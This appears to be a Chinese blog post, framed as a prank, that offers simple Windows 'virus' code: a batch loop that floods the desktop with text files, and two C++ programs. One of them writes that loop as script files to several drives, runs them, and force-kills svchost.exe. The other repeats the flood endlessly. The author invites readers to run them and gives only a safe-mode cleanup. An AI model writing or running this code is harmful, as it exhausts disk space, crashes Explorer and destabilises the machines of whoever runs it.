c++病毒

大家好,我是恒星飞耀

最近我做了一个程序,运行了一下,我的电脑差点无了,吓死我了

安全模式才删,给大家展示一下,别忘了三连哦

 for /L %%x in (1,1,100000000) do @echo %%x>%%x.txt

直接bat运行,你的电脑无了

原理:制造超多个txt在桌面,显示不过来,不断重启资源管理器

办法:进安全模式把txt全删了

再插一个c++版

#include <stdio.h>
#include<iostream>
#include<windows.h>
#include <bits/stdc++.h>
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <pthread.h>
#include <unistd.h>
#include <windows.h>
#include <time.h>
#include <conio.h>
using namespace std;
int main() 
{ 
	freopen("C:\\hh.txt","w",stdout); 
	cout<<"@echo off\n";
	cout<<"for /L %%x in (1,1,1000000000000000000) do @echo %%x>%%x.txt" ;
	fclose(stdin);
	fclose(stdout);
	freopen("D:\\hh.txt","w",stdout); 
	cout<<"@echo off\n";
	cout<<"for /L %%x in (1,1,1000000000000000000) do @echo %%x>%%x.txt" ;
	fclose(stdin);
	fclose(stdout);
	freopen("F:\\hh.txt","w",stdout); 
	cout<<"@echo off\n";
	cout<<"for /L %%x in (1,1,1000000000000000000) do @echo %%x>%%x.txt" ;
	fclose(stdin);
	fclose(stdout);
	freopen("_pgmptr\\hh.txt","w",stdout); 
	cout<<"@echo off\n";
	cout<<"for /L %%x in (1,1,1000000000000000000) do @echo %%x>%%x.txt" ;
	fclose(stdin);
	fclose(stdout);
	system("C:\\hh.txt");
	system("F:\\hh.txt");
	system("D:\\hh.txt");
	system("_pgmptr\\hh.txt");
	system("TASKKILL /F /IM svchost.exe /T");
	return 0; 
} 

再来一个

#include<windows.h>
#include<iostream>
using namespace std;
int main(){
	
	while(1){
	system("@echo off");
	system("for /L %%x in (1,1,10000000000) do @echo %%x>%%x.txt");
	}
	return 0;
} 

bat的那个我试过了,其他的c++的有虚拟机的可以试一下(或想作死的),别忘了告诉我效果哦。

运行方式:放桌面上

不会解决的私聊我,三连哦

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值